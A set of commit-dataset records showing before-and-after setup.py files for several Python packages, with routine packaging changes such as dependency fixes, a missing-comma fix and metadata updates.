name='pypardiso', version="0.3.1", packages=['pypardiso'], install_requires=['mkl-service', 'numpy', 'scipy', 'psutil'], author="Adrian Haas", license=open('LICENSE.txt').read(), url="https://github.com/haasad/PyPardisoProject", long_description=open('README.md').read(), description='Python interface to the Intel MKL Pardiso library to solve large sparse linear systems of equations', classifiers=[ 'Intended Audience :: End Users/Desktop', 'Intended Audience :: Developers', 'Intended Audience :: Science/Research', 'License :: OSI Approved :: BSD License', 'Operating System :: MacOS :: MacOS X', 'Operating System :: Microsoft :: Windows', 'Operating System :: POSIX', 'Programming Language :: Python', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', 'Topic :: Scientific/Engineering :: Information Analysis', 'Topic :: Scientific/Engineering :: Mathematics', 'Topic :: Scientific/Engineering :: Visualization', ], )
<commit_before>from setuptools import setup setup( name='pypardiso', version="0.3.1", packages=['pypardiso'], install_requires=['mkl', 'mkl-service', 'numpy', 'scipy', 'psutil'], author="Adrian Haas", license=open('LICENSE.txt').read(), url="https://github.com/haasad/PyPardisoProject", long_description=open('README.md').read(), description='Python interface to the Intel MKL Pardiso library to solve large sparse linear systems of equations', classifiers=[ 'Intended Audience :: End Users/Desktop', 'Intended Audience :: Developers', 'Intended Audience :: Science/Research', 'License :: OSI Approved :: BSD License', 'Operating System :: MacOS :: MacOS X', 'Operating System :: Microsoft :: Windows', 'Operating System :: POSIX', 'Programming Language :: Python', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', 'Topic :: Scientific/Engineering :: Information Analysis', 'Topic :: Scientific/Engineering :: Mathematics', 'Topic :: Scientific/Engineering :: Visualization', ], ) <commit_msg>Remove mkl as direct dependency This breaks the conda-forge build, since the pip mkl and conda mkl aren't the same packages, so `pip check` fails. mkl is a dependency of mkl-service and will still be installed with pip install.<commit_after>from setuptools import setup setup( name='pypardiso', version="0.3.1", packages=['pypardiso'], install_requires=['mkl-service', 'numpy', 'scipy', 'psutil'], author="Adrian Haas", license=open('LICENSE.txt').read(), url="https://github.com/haasad/PyPardisoProject", long_description=open('README.md').read(), description='Python interface to the Intel MKL Pardiso library to solve large sparse linear systems of equations', classifiers=[ 'Intended Audience :: End Users/Desktop', 'Intended Audience :: Developers', 'Intended Audience :: Science/Research', 'License :: OSI Approved :: BSD License', 'Operating System :: MacOS :: MacOS X', 'Operating System :: Microsoft :: Windows', 'Operating System :: POSIX', 'Programming Language :: Python', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.4', 'Programming Language :: Python :: 3.5', 'Topic :: Scientific/Engineering :: Information Analysis', 'Topic :: Scientific/Engineering :: Mathematics', 'Topic :: Scientific/Engineering :: Visualization', ], )
2a294c70c4e1b94b185e1c58bd1868e1c9d675b6
setup.py
setup.py
import os try: from setuptools import setup except ImportError: from distutils.core import setup with open('README.md') as f: readme = f.read() setup( name="pykwalify", version="1.7.0", description='Python lib/cli for JSON/YAML schema validation', long_description=readme, long_description_content_type='text/markdown', author="Johan Andersson", author_email="Grokzen@gmail.com", maintainer='Johan Andersson', maintainer_email='Grokzen@gmail.com', license='MIT', packages=['pykwalify'], url='http://github.com/grokzen/pykwalify', entry_points={ 'console_scripts': [ 'pykwalify = pykwalify.cli:cli_entrypoint', ], }, install_requires=[ 'docopt>=0.6.2', "ruamel.yaml>=0.16.0" 'python-dateutil>=2.8.0', ], classifiers=[ 'Development Status :: 5 - Production/Stable', 'Intended Audience :: Developers', 'Operating System :: OS Independent', 'License :: OSI Approved :: MIT License', 'Environment :: Console', 'Programming Language :: Python', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.6', 'Programming Language :: Python :: 3.7', 'Programming Language :: Python :: 3.8', 'Programming Language :: Python :: 3.9', ], )
import os try: from setuptools import setup except ImportError: from distutils.core import setup with open('README.md') as f: readme = f.read() setup( name="pykwalify", version="1.7.0", description='Python lib/cli for JSON/YAML schema validation', long_description=readme, long_description_content_type='text/markdown', author="Johan Andersson", author_email="Grokzen@gmail.com", maintainer='Johan Andersson', maintainer_email='Grokzen@gmail.com', license='MIT', packages=['pykwalify'], url='http://github.com/grokzen/pykwalify', entry_points={ 'console_scripts': [ 'pykwalify = pykwalify.cli:cli_entrypoint', ], }, install_requires=[ 'docopt>=0.6.2', "ruamel.yaml>=0.16.0", 'python-dateutil>=2.8.0', ], classifiers=[ 'Development Status :: 5 - Production/Stable', 'Intended Audience :: Developers', 'Operating System :: OS Independent', 'License :: OSI Approved :: MIT License', 'Environment :: Console', 'Programming Language :: Python', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.6', 'Programming Language :: Python :: 3.7', 'Programming Language :: Python :: 3.8', 'Programming Language :: Python :: 3.9', ], )
Fix missing comma in `install_requires`
Fix missing comma in `install_requires` coincidentally, I [made a video about this today](https://www.youtube.com/watch?v=5Zto6VYsNsI)
Python
mit
grokzen/pykwalify
import os try: from setuptools import setup except ImportError: from distutils.core import setup with open('README.md') as f: readme = f.read() setup( name="pykwalify", version="1.7.0", description='Python lib/cli for JSON/YAML schema validation', long_description=readme, long_description_content_type='text/markdown', author="Johan Andersson", author_email="Grokzen@gmail.com", maintainer='Johan Andersson', maintainer_email='Grokzen@gmail.com', license='MIT', packages=['pykwalify'], url='http://github.com/grokzen/pykwalify', entry_points={ 'console_scripts': [ 'pykwalify = pykwalify.cli:cli_entrypoint', ], }, install_requires=[ 'docopt>=0.6.2', "ruamel.yaml>=0.16.0" 'python-dateutil>=2.8.0', ], classifiers=[ 'Development Status :: 5 - Production/Stable', 'Intended Audience :: Developers', 'Operating System :: OS Independent', 'License :: OSI Approved :: MIT License', 'Environment :: Console', 'Programming Language :: Python', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.6', 'Programming Language :: Python :: 3.7', 'Programming Language :: Python :: 3.8', 'Programming Language :: Python :: 3.9', ], ) Fix missing comma in `install_requires` coincidentally, I [made a video about this today](https://www.youtube.com/watch?v=5Zto6VYsNsI)
import os try: from setuptools import setup except ImportError: from distutils.core import setup with open('README.md') as f: readme = f.read() setup( name="pykwalify", version="1.7.0", description='Python lib/cli for JSON/YAML schema validation', long_description=readme, long_description_content_type='text/markdown', author="Johan Andersson", author_email="Grokzen@gmail.com", maintainer='Johan Andersson', maintainer_email='Grokzen@gmail.com', license='MIT', packages=['pykwalify'], url='http://github.com/grokzen/pykwalify', entry_points={ 'console_scripts': [ 'pykwalify = pykwalify.cli:cli_entrypoint', ], }, install_requires=[ 'docopt>=0.6.2', "ruamel.yaml>=0.16.0", 'python-dateutil>=2.8.0', ], classifiers=[ 'Development Status :: 5 - Production/Stable', 'Intended Audience :: Developers', 'Operating System :: OS Independent', 'License :: OSI Approved :: MIT License', 'Environment :: Console', 'Programming Language :: Python', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.6', 'Programming Language :: Python :: 3.7', 'Programming Language :: Python :: 3.8', 'Programming Language :: Python :: 3.9', ], )
<commit_before>import os try: from setuptools import setup except ImportError: from distutils.core import setup with open('README.md') as f: readme = f.read() setup( name="pykwalify", version="1.7.0", description='Python lib/cli for JSON/YAML schema validation', long_description=readme, long_description_content_type='text/markdown', author="Johan Andersson", author_email="Grokzen@gmail.com", maintainer='Johan Andersson', maintainer_email='Grokzen@gmail.com', license='MIT', packages=['pykwalify'], url='http://github.com/grokzen/pykwalify', entry_points={ 'console_scripts': [ 'pykwalify = pykwalify.cli:cli_entrypoint', ], }, install_requires=[ 'docopt>=0.6.2', "ruamel.yaml>=0.16.0" 'python-dateutil>=2.8.0', ], classifiers=[ 'Development Status :: 5 - Production/Stable', 'Intended Audience :: Developers', 'Operating System :: OS Independent', 'License :: OSI Approved :: MIT License', 'Environment :: Console', 'Programming Language :: Python', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.6', 'Programming Language :: Python :: 3.7', 'Programming Language :: Python :: 3.8', 'Programming Language :: Python :: 3.9', ], ) <commit_msg>Fix missing comma in `install_requires` coincidentally, I [made a video about this today](https://www.youtube.com/watch?v=5Zto6VYsNsI)<commit_after>
import os try: from setuptools import setup except ImportError: from distutils.core import setup with open('README.md') as f: readme = f.read() setup( name="pykwalify", version="1.7.0", description='Python lib/cli for JSON/YAML schema validation', long_description=readme, long_description_content_type='text/markdown', author="Johan Andersson", author_email="Grokzen@gmail.com", maintainer='Johan Andersson', maintainer_email='Grokzen@gmail.com', license='MIT', packages=['pykwalify'], url='http://github.com/grokzen/pykwalify', entry_points={ 'console_scripts': [ 'pykwalify = pykwalify.cli:cli_entrypoint', ], }, install_requires=[ 'docopt>=0.6.2', "ruamel.yaml>=0.16.0", 'python-dateutil>=2.8.0', ], classifiers=[ 'Development Status :: 5 - Production/Stable', 'Intended Audience :: Developers', 'Operating System :: OS Independent', 'License :: OSI Approved :: MIT License', 'Environment :: Console', 'Programming Language :: Python', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.6', 'Programming Language :: Python :: 3.7', 'Programming Language :: Python :: 3.8', 'Programming Language :: Python :: 3.9', ], )
import os try: from setuptools import setup except ImportError: from distutils.core import setup with open('README.md') as f: readme = f.read() setup( name="pykwalify", version="1.7.0", description='Python lib/cli for JSON/YAML schema validation', long_description=readme, long_description_content_type='text/markdown', author="Johan Andersson", author_email="Grokzen@gmail.com", maintainer='Johan Andersson', maintainer_email='Grokzen@gmail.com', license='MIT', packages=['pykwalify'], url='http://github.com/grokzen/pykwalify', entry_points={ 'console_scripts': [ 'pykwalify = pykwalify.cli:cli_entrypoint', ], }, install_requires=[ 'docopt>=0.6.2', "ruamel.yaml>=0.16.0" 'python-dateutil>=2.8.0', ], classifiers=[ 'Development Status :: 5 - Production/Stable', 'Intended Audience :: Developers', 'Operating System :: OS Independent', 'License :: OSI Approved :: MIT License', 'Environment :: Console', 'Programming Language :: Python', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.6', 'Programming Language :: Python :: 3.7', 'Programming Language :: Python :: 3.8', 'Programming Language :: Python :: 3.9', ], ) Fix missing comma in `install_requires` coincidentally, I [made a video about this today](https://www.youtube.com/watch?v=5Zto6VYsNsI)import os try: from setuptools import setup except ImportError: from distutils.core import setup with open('README.md') as f: readme = f.read() setup( name="pykwalify", version="1.7.0", description='Python lib/cli for JSON/YAML schema validation', long_description=readme, long_description_content_type='text/markdown', author="Johan Andersson", author_email="Grokzen@gmail.com", maintainer='Johan Andersson', maintainer_email='Grokzen@gmail.com', license='MIT', packages=['pykwalify'], url='http://github.com/grokzen/pykwalify', entry_points={ 'console_scripts': [ 'pykwalify = pykwalify.cli:cli_entrypoint', ], }, install_requires=[ 'docopt>=0.6.2', "ruamel.yaml>=0.16.0", 'python-dateutil>=2.8.0', ], classifiers=[ 'Development Status :: 5 - Production/Stable', 'Intended Audience :: Developers', 'Operating System :: OS Independent', 'License :: OSI Approved :: MIT License', 'Environment :: Console', 'Programming Language :: Python', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.6', 'Programming Language :: Python :: 3.7', 'Programming Language :: Python :: 3.8', 'Programming Language :: Python :: 3.9', ], )
<commit_before>import os try: from setuptools import setup except ImportError: from distutils.core import setup with open('README.md') as f: readme = f.read() setup( name="pykwalify", version="1.7.0", description='Python lib/cli for JSON/YAML schema validation', long_description=readme, long_description_content_type='text/markdown', author="Johan Andersson", author_email="Grokzen@gmail.com", maintainer='Johan Andersson', maintainer_email='Grokzen@gmail.com', license='MIT', packages=['pykwalify'], url='http://github.com/grokzen/pykwalify', entry_points={ 'console_scripts': [ 'pykwalify = pykwalify.cli:cli_entrypoint', ], }, install_requires=[ 'docopt>=0.6.2', "ruamel.yaml>=0.16.0" 'python-dateutil>=2.8.0', ], classifiers=[ 'Development Status :: 5 - Production/Stable', 'Intended Audience :: Developers', 'Operating System :: OS Independent', 'License :: OSI Approved :: MIT License', 'Environment :: Console', 'Programming Language :: Python', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.6', 'Programming Language :: Python :: 3.7', 'Programming Language :: Python :: 3.8', 'Programming Language :: Python :: 3.9', ], ) <commit_msg>Fix missing comma in `install_requires` coincidentally, I [made a video about this today](https://www.youtube.com/watch?v=5Zto6VYsNsI)<commit_after>import os try: from setuptools import setup except ImportError: from distutils.core import setup with open('README.md') as f: readme = f.read() setup( name="pykwalify", version="1.7.0", description='Python lib/cli for JSON/YAML schema validation', long_description=readme, long_description_content_type='text/markdown', author="Johan Andersson", author_email="Grokzen@gmail.com", maintainer='Johan Andersson', maintainer_email='Grokzen@gmail.com', license='MIT', packages=['pykwalify'], url='http://github.com/grokzen/pykwalify', entry_points={ 'console_scripts': [ 'pykwalify = pykwalify.cli:cli_entrypoint', ], }, install_requires=[ 'docopt>=0.6.2', "ruamel.yaml>=0.16.0", 'python-dateutil>=2.8.0', ], classifiers=[ 'Development Status :: 5 - Production/Stable', 'Intended Audience :: Developers', 'Operating System :: OS Independent', 'License :: OSI Approved :: MIT License', 'Environment :: Console', 'Programming Language :: Python', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.6', 'Programming Language :: Python :: 3.7', 'Programming Language :: Python :: 3.8', 'Programming Language :: Python :: 3.9', ], )
edbb4f1f86f1102ce93b9776cddc6aa83c28595e
setup.py
setup.py
#!/usr/bin/env python from setuptools import setup, find_packages __version__ = '0.50.1' with open("README.md", "r") as fh: long_description = fh.read() setup(name='lcapy', version=__version__, author='Michael Hayes', author_email='michael.hayes@canterbury.ac.nz', description='Symbolic linear circuit analysis', long_description = long_description, long_description_content_type="text/markdown", url='https://github.com/mph-/lcapy', download_url='https://github.com/mph-/lcapy', install_requires=['matplotlib', 'scipy', 'numpy', 'sympy', 'networkx', 'setuptools' ], packages=find_packages(exclude=['demo']), entry_points={ 'console_scripts': [ 'schtex=lcapy.scripts.schtex:main', ], }, classifiers=[ "Programming Language :: Python :: 3", "License :: OSI Approved :: GNU Lesser General Public License v2 or later (LGPLv2+)", "Operating System :: OS Independent", ], )
#!/usr/bin/env python from setuptools import setup, find_packages __version__ = '0.50.1' with open("README.md", "r") as fh: long_description = fh.read() setup(name='lcapy', version=__version__, author='Michael Hayes', author_email='michael.hayes@canterbury.ac.nz', description='Symbolic linear circuit analysis', long_description = long_description, long_description_content_type="text/markdown", url='https://github.com/mph-/lcapy', download_url='https://github.com/mph-/lcapy', install_requires=['matplotlib', 'scipy', 'numpy', 'sympy', 'networkx', 'setuptools', 'wheel' ], packages=find_packages(exclude=['demo']), entry_points={ 'console_scripts': [ 'schtex=lcapy.scripts.schtex:main', ], }, classifiers=[ "Programming Language :: Python :: 3", "License :: OSI Approved :: GNU Lesser General Public License v2 or later (LGPLv2+)", "Operating System :: OS Independent", ], )
Add wheel as a requirement
Add wheel as a requirement
Python
lgpl-2.1
mph-/lcapy
#!/usr/bin/env python from setuptools import setup, find_packages __version__ = '0.50.1' with open("README.md", "r") as fh: long_description = fh.read() setup(name='lcapy', version=__version__, author='Michael Hayes', author_email='michael.hayes@canterbury.ac.nz', description='Symbolic linear circuit analysis', long_description = long_description, long_description_content_type="text/markdown", url='https://github.com/mph-/lcapy', download_url='https://github.com/mph-/lcapy', install_requires=['matplotlib', 'scipy', 'numpy', 'sympy', 'networkx', 'setuptools' ], packages=find_packages(exclude=['demo']), entry_points={ 'console_scripts': [ 'schtex=lcapy.scripts.schtex:main', ], }, classifiers=[ "Programming Language :: Python :: 3", "License :: OSI Approved :: GNU Lesser General Public License v2 or later (LGPLv2+)", "Operating System :: OS Independent", ], ) Add wheel as a requirement
#!/usr/bin/env python from setuptools import setup, find_packages __version__ = '0.50.1' with open("README.md", "r") as fh: long_description = fh.read() setup(name='lcapy', version=__version__, author='Michael Hayes', author_email='michael.hayes@canterbury.ac.nz', description='Symbolic linear circuit analysis', long_description = long_description, long_description_content_type="text/markdown", url='https://github.com/mph-/lcapy', download_url='https://github.com/mph-/lcapy', install_requires=['matplotlib', 'scipy', 'numpy', 'sympy', 'networkx', 'setuptools', 'wheel' ], packages=find_packages(exclude=['demo']), entry_points={ 'console_scripts': [ 'schtex=lcapy.scripts.schtex:main', ], }, classifiers=[ "Programming Language :: Python :: 3", "License :: OSI Approved :: GNU Lesser General Public License v2 or later (LGPLv2+)", "Operating System :: OS Independent", ], )
<commit_before>#!/usr/bin/env python from setuptools import setup, find_packages __version__ = '0.50.1' with open("README.md", "r") as fh: long_description = fh.read() setup(name='lcapy', version=__version__, author='Michael Hayes', author_email='michael.hayes@canterbury.ac.nz', description='Symbolic linear circuit analysis', long_description = long_description, long_description_content_type="text/markdown", url='https://github.com/mph-/lcapy', download_url='https://github.com/mph-/lcapy', install_requires=['matplotlib', 'scipy', 'numpy', 'sympy', 'networkx', 'setuptools' ], packages=find_packages(exclude=['demo']), entry_points={ 'console_scripts': [ 'schtex=lcapy.scripts.schtex:main', ], }, classifiers=[ "Programming Language :: Python :: 3", "License :: OSI Approved :: GNU Lesser General Public License v2 or later (LGPLv2+)", "Operating System :: OS Independent", ], ) <commit_msg>Add wheel as a requirement<commit_after>
#!/usr/bin/env python from setuptools import setup, find_packages __version__ = '0.50.1' with open("README.md", "r") as fh: long_description = fh.read() setup(name='lcapy', version=__version__, author='Michael Hayes', author_email='michael.hayes@canterbury.ac.nz', description='Symbolic linear circuit analysis', long_description = long_description, long_description_content_type="text/markdown", url='https://github.com/mph-/lcapy', download_url='https://github.com/mph-/lcapy', install_requires=['matplotlib', 'scipy', 'numpy', 'sympy', 'networkx', 'setuptools', 'wheel' ], packages=find_packages(exclude=['demo']), entry_points={ 'console_scripts': [ 'schtex=lcapy.scripts.schtex:main', ], }, classifiers=[ "Programming Language :: Python :: 3", "License :: OSI Approved :: GNU Lesser General Public License v2 or later (LGPLv2+)", "Operating System :: OS Independent", ], )
#!/usr/bin/env python from setuptools import setup, find_packages __version__ = '0.50.1' with open("README.md", "r") as fh: long_description = fh.read() setup(name='lcapy', version=__version__, author='Michael Hayes', author_email='michael.hayes@canterbury.ac.nz', description='Symbolic linear circuit analysis', long_description = long_description, long_description_content_type="text/markdown", url='https://github.com/mph-/lcapy', download_url='https://github.com/mph-/lcapy', install_requires=['matplotlib', 'scipy', 'numpy', 'sympy', 'networkx', 'setuptools' ], packages=find_packages(exclude=['demo']), entry_points={ 'console_scripts': [ 'schtex=lcapy.scripts.schtex:main', ], }, classifiers=[ "Programming Language :: Python :: 3", "License :: OSI Approved :: GNU Lesser General Public License v2 or later (LGPLv2+)", "Operating System :: OS Independent", ], ) Add wheel as a requirement#!/usr/bin/env python from setuptools import setup, find_packages __version__ = '0.50.1' with open("README.md", "r") as fh: long_description = fh.read() setup(name='lcapy', version=__version__, author='Michael Hayes', author_email='michael.hayes@canterbury.ac.nz', description='Symbolic linear circuit analysis', long_description = long_description, long_description_content_type="text/markdown", url='https://github.com/mph-/lcapy', download_url='https://github.com/mph-/lcapy', install_requires=['matplotlib', 'scipy', 'numpy', 'sympy', 'networkx', 'setuptools', 'wheel' ], packages=find_packages(exclude=['demo']), entry_points={ 'console_scripts': [ 'schtex=lcapy.scripts.schtex:main', ], }, classifiers=[ "Programming Language :: Python :: 3", "License :: OSI Approved :: GNU Lesser General Public License v2 or later (LGPLv2+)", "Operating System :: OS Independent", ], )
<commit_before>#!/usr/bin/env python from setuptools import setup, find_packages __version__ = '0.50.1' with open("README.md", "r") as fh: long_description = fh.read() setup(name='lcapy', version=__version__, author='Michael Hayes', author_email='michael.hayes@canterbury.ac.nz', description='Symbolic linear circuit analysis', long_description = long_description, long_description_content_type="text/markdown", url='https://github.com/mph-/lcapy', download_url='https://github.com/mph-/lcapy', install_requires=['matplotlib', 'scipy', 'numpy', 'sympy', 'networkx', 'setuptools' ], packages=find_packages(exclude=['demo']), entry_points={ 'console_scripts': [ 'schtex=lcapy.scripts.schtex:main', ], }, classifiers=[ "Programming Language :: Python :: 3", "License :: OSI Approved :: GNU Lesser General Public License v2 or later (LGPLv2+)", "Operating System :: OS Independent", ], ) <commit_msg>Add wheel as a requirement<commit_after>#!/usr/bin/env python from setuptools import setup, find_packages __version__ = '0.50.1' with open("README.md", "r") as fh: long_description = fh.read() setup(name='lcapy', version=__version__, author='Michael Hayes', author_email='michael.hayes@canterbury.ac.nz', description='Symbolic linear circuit analysis', long_description = long_description, long_description_content_type="text/markdown", url='https://github.com/mph-/lcapy', download_url='https://github.com/mph-/lcapy', install_requires=['matplotlib', 'scipy', 'numpy', 'sympy', 'networkx', 'setuptools', 'wheel' ], packages=find_packages(exclude=['demo']), entry_points={ 'console_scripts': [ 'schtex=lcapy.scripts.schtex:main', ], }, classifiers=[ "Programming Language :: Python :: 3", "License :: OSI Approved :: GNU Lesser General Public License v2 or later (LGPLv2+)", "Operating System :: OS Independent", ], )
43211ec5368a119cf829bde926aa9b262c6dfef8
setup.py
setup.py
from setuptools import setup import marquise.marquise extension = marquise.marquise.ffi.verifier.get_extension() with open('VERSION', 'r') as f: VERSION = f.readline().strip() # These notes suggest that there's not yet any "correct" way to do packageable # CFFI interfaces. For now I'm splitting the CFFI stuff from the python # interface stuff, and it seems to do the job okay, though dealing with # packages and modules is a flailfest at best for me. # https://bitbucket.org/cffi/cffi/issue/109/enable-sane-packaging-for-cffi setup( name="marquise", version=VERSION, description="Python bindings for libmarquise", author="Sharif Olorin", author_email="sio@tesser.org", url="https://github.com/anchor/pymarquise", zip_safe=False, packages=[ "marquise", ], ext_modules = [extension], )
from setuptools import setup import marquise.marquise extension = marquise.marquise.ffi.verifier.get_extension() with open('VERSION', 'r') as f: VERSION = f.readline().strip() # These notes suggest that there's not yet any "correct" way to do packageable # CFFI interfaces. For now I'm splitting the CFFI stuff from the python # interface stuff, and it seems to do the job okay, though dealing with # packages and modules is a flailfest at best for me. # https://bitbucket.org/cffi/cffi/issue/109/enable-sane-packaging-for-cffi setup( name="marquise", version=VERSION, description="Python bindings for libmarquise", author="Barney Desmond", author_email="engineering@anchor.net.au", url="https://github.com/anchor/pymarquise", zip_safe=False, packages=[ "marquise", ], ext_modules = [extension], )
Update packaging metadata for accuracy
Update packaging metadata for accuracy
Python
mit
anchor/pymarquise,anchor/pymarquise
from setuptools import setup import marquise.marquise extension = marquise.marquise.ffi.verifier.get_extension() with open('VERSION', 'r') as f: VERSION = f.readline().strip() # These notes suggest that there's not yet any "correct" way to do packageable # CFFI interfaces. For now I'm splitting the CFFI stuff from the python # interface stuff, and it seems to do the job okay, though dealing with # packages and modules is a flailfest at best for me. # https://bitbucket.org/cffi/cffi/issue/109/enable-sane-packaging-for-cffi setup( name="marquise", version=VERSION, description="Python bindings for libmarquise", author="Sharif Olorin", author_email="sio@tesser.org", url="https://github.com/anchor/pymarquise", zip_safe=False, packages=[ "marquise", ], ext_modules = [extension], ) Update packaging metadata for accuracy
from setuptools import setup import marquise.marquise extension = marquise.marquise.ffi.verifier.get_extension() with open('VERSION', 'r') as f: VERSION = f.readline().strip() # These notes suggest that there's not yet any "correct" way to do packageable # CFFI interfaces. For now I'm splitting the CFFI stuff from the python # interface stuff, and it seems to do the job okay, though dealing with # packages and modules is a flailfest at best for me. # https://bitbucket.org/cffi/cffi/issue/109/enable-sane-packaging-for-cffi setup( name="marquise", version=VERSION, description="Python bindings for libmarquise", author="Barney Desmond", author_email="engineering@anchor.net.au", url="https://github.com/anchor/pymarquise", zip_safe=False, packages=[ "marquise", ], ext_modules = [extension], )
<commit_before>from setuptools import setup import marquise.marquise extension = marquise.marquise.ffi.verifier.get_extension() with open('VERSION', 'r') as f: VERSION = f.readline().strip() # These notes suggest that there's not yet any "correct" way to do packageable # CFFI interfaces. For now I'm splitting the CFFI stuff from the python # interface stuff, and it seems to do the job okay, though dealing with # packages and modules is a flailfest at best for me. # https://bitbucket.org/cffi/cffi/issue/109/enable-sane-packaging-for-cffi setup( name="marquise", version=VERSION, description="Python bindings for libmarquise", author="Sharif Olorin", author_email="sio@tesser.org", url="https://github.com/anchor/pymarquise", zip_safe=False, packages=[ "marquise", ], ext_modules = [extension], ) <commit_msg>Update packaging metadata for accuracy<commit_after>
from setuptools import setup import marquise.marquise extension = marquise.marquise.ffi.verifier.get_extension() with open('VERSION', 'r') as f: VERSION = f.readline().strip() # These notes suggest that there's not yet any "correct" way to do packageable # CFFI interfaces. For now I'm splitting the CFFI stuff from the python # interface stuff, and it seems to do the job okay, though dealing with # packages and modules is a flailfest at best for me. # https://bitbucket.org/cffi/cffi/issue/109/enable-sane-packaging-for-cffi setup( name="marquise", version=VERSION, description="Python bindings for libmarquise", author="Barney Desmond", author_email="engineering@anchor.net.au", url="https://github.com/anchor/pymarquise", zip_safe=False, packages=[ "marquise", ], ext_modules = [extension], )
from setuptools import setup import marquise.marquise extension = marquise.marquise.ffi.verifier.get_extension() with open('VERSION', 'r') as f: VERSION = f.readline().strip() # These notes suggest that there's not yet any "correct" way to do packageable # CFFI interfaces. For now I'm splitting the CFFI stuff from the python # interface stuff, and it seems to do the job okay, though dealing with # packages and modules is a flailfest at best for me. # https://bitbucket.org/cffi/cffi/issue/109/enable-sane-packaging-for-cffi setup( name="marquise", version=VERSION, description="Python bindings for libmarquise", author="Sharif Olorin", author_email="sio@tesser.org", url="https://github.com/anchor/pymarquise", zip_safe=False, packages=[ "marquise", ], ext_modules = [extension], ) Update packaging metadata for accuracyfrom setuptools import setup import marquise.marquise extension = marquise.marquise.ffi.verifier.get_extension() with open('VERSION', 'r') as f: VERSION = f.readline().strip() # These notes suggest that there's not yet any "correct" way to do packageable # CFFI interfaces. For now I'm splitting the CFFI stuff from the python # interface stuff, and it seems to do the job okay, though dealing with # packages and modules is a flailfest at best for me. # https://bitbucket.org/cffi/cffi/issue/109/enable-sane-packaging-for-cffi setup( name="marquise", version=VERSION, description="Python bindings for libmarquise", author="Barney Desmond", author_email="engineering@anchor.net.au", url="https://github.com/anchor/pymarquise", zip_safe=False, packages=[ "marquise", ], ext_modules = [extension], )
<commit_before>from setuptools import setup import marquise.marquise extension = marquise.marquise.ffi.verifier.get_extension() with open('VERSION', 'r') as f: VERSION = f.readline().strip() # These notes suggest that there's not yet any "correct" way to do packageable # CFFI interfaces. For now I'm splitting the CFFI stuff from the python # interface stuff, and it seems to do the job okay, though dealing with # packages and modules is a flailfest at best for me. # https://bitbucket.org/cffi/cffi/issue/109/enable-sane-packaging-for-cffi setup( name="marquise", version=VERSION, description="Python bindings for libmarquise", author="Sharif Olorin", author_email="sio@tesser.org", url="https://github.com/anchor/pymarquise", zip_safe=False, packages=[ "marquise", ], ext_modules = [extension], ) <commit_msg>Update packaging metadata for accuracy<commit_after>from setuptools import setup import marquise.marquise extension = marquise.marquise.ffi.verifier.get_extension() with open('VERSION', 'r') as f: VERSION = f.readline().strip() # These notes suggest that there's not yet any "correct" way to do packageable # CFFI interfaces. For now I'm splitting the CFFI stuff from the python # interface stuff, and it seems to do the job okay, though dealing with # packages and modules is a flailfest at best for me. # https://bitbucket.org/cffi/cffi/issue/109/enable-sane-packaging-for-cffi setup( name="marquise", version=VERSION, description="Python bindings for libmarquise", author="Barney Desmond", author_email="engineering@anchor.net.au", url="https://github.com/anchor/pymarquise", zip_safe=False, packages=[ "marquise", ], ext_modules = [extension], )
2a820e1ed31e601a6c5b72a1a83f290b351a31ec
setup.py
setup.py
from setuptools import setup PACKAGE_VERSION = '0.1' deps = [] setup(name='wptserve', version=PACKAGE_VERSION, description="Python webserver intended for in web browser testing", long_description=open("README.md").read(), classifiers=[], # Get strings from http://pypi.python.org/pypi?%3Aaction=list_classifiers keywords='', author='James Graham', author_email='james@hoppipolla.co.uk', url='http://wptserve.readthedocs.org/', license='BSD', packages=['wptserve'], include_package_data=True, zip_safe=False, install_requires=deps )
from setuptools import setup PACKAGE_VERSION = '1.0' deps = [] setup(name='wptserve', version=PACKAGE_VERSION, description="Python webserver intended for in web browser testing", long_description=open("README.md").read(), # Get strings from http://pypi.python.org/pypi?%3Aaction=list_classifiers classifiers=["Development Status :: 5 - Production/Stable", "License :: OSI Approved :: BSD License", "Topic :: Internet :: WWW/HTTP :: HTTP Servers"], keywords='', author='James Graham', author_email='james@hoppipolla.co.uk', url='http://wptserve.readthedocs.org/', license='BSD', packages=['wptserve'], include_package_data=True, zip_safe=False, install_requires=deps )
Update package version to 1.0
Update package version to 1.0
Python
bsd-3-clause
youennf/wptserve
from setuptools import setup PACKAGE_VERSION = '0.1' deps = [] setup(name='wptserve', version=PACKAGE_VERSION, description="Python webserver intended for in web browser testing", long_description=open("README.md").read(), classifiers=[], # Get strings from http://pypi.python.org/pypi?%3Aaction=list_classifiers keywords='', author='James Graham', author_email='james@hoppipolla.co.uk', url='http://wptserve.readthedocs.org/', license='BSD', packages=['wptserve'], include_package_data=True, zip_safe=False, install_requires=deps ) Update package version to 1.0
from setuptools import setup PACKAGE_VERSION = '1.0' deps = [] setup(name='wptserve', version=PACKAGE_VERSION, description="Python webserver intended for in web browser testing", long_description=open("README.md").read(), # Get strings from http://pypi.python.org/pypi?%3Aaction=list_classifiers classifiers=["Development Status :: 5 - Production/Stable", "License :: OSI Approved :: BSD License", "Topic :: Internet :: WWW/HTTP :: HTTP Servers"], keywords='', author='James Graham', author_email='james@hoppipolla.co.uk', url='http://wptserve.readthedocs.org/', license='BSD', packages=['wptserve'], include_package_data=True, zip_safe=False, install_requires=deps )
<commit_before>from setuptools import setup PACKAGE_VERSION = '0.1' deps = [] setup(name='wptserve', version=PACKAGE_VERSION, description="Python webserver intended for in web browser testing", long_description=open("README.md").read(), classifiers=[], # Get strings from http://pypi.python.org/pypi?%3Aaction=list_classifiers keywords='', author='James Graham', author_email='james@hoppipolla.co.uk', url='http://wptserve.readthedocs.org/', license='BSD', packages=['wptserve'], include_package_data=True, zip_safe=False, install_requires=deps ) <commit_msg>Update package version to 1.0<commit_after>
